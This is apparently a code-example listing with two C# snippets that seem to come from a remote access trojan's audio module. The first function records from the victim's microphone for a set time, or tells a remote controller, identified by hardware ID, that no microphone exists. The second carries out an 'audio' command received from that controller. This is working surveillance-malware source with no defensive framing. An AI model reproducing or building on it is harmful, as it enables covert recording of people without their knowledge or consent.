Пример #1
0
 public static void Audio(int second)
 {
     try
     {
         if (waveInGetNumDevs() == 0)
         {
             Packet.Error("Don't have microphone.");
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Pac_ket").AsString = "Audio";
             msgpack.ForcePathObject("Hwid").AsString    = Connection.Hwid;
             msgpack.ForcePathObject("Close").AsString   = "true";
             Connection.Send(msgpack.Encode2Bytes());
         }
         else
         {
             var AR = new AudioRecorder();
             AR.StartAR();
             Thread.Sleep(100);
             DateTime dt1 = DateTime.Now;
             while ((DateTime.Now - dt1).TotalMilliseconds < second * 1000)
             {
                 continue;
             }
             ;
             AR.SaveAR();
         }
     }
     catch (Exception ex)
     {
         Packet.Error(ex.Message);
     }
 }
Пример #2
0
        public static void Read(object data)
        {
            MsgPack unpack_msgpack = new MsgPack();

            unpack_msgpack.DecodeFromBytes((byte[])data);
            switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
            {
            case "audio":
            {
                var AR = new AudioRecorder();
                AR.StartAR();
                Thread.Sleep(100);
                DateTime dt1 = DateTime.Now;
                while ((DateTime.Now - dt1).TotalMilliseconds < Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString) * 1000)
                {
                    continue;
                }
                ;
                AR.SaveAR();
                break;
            }
            }
        }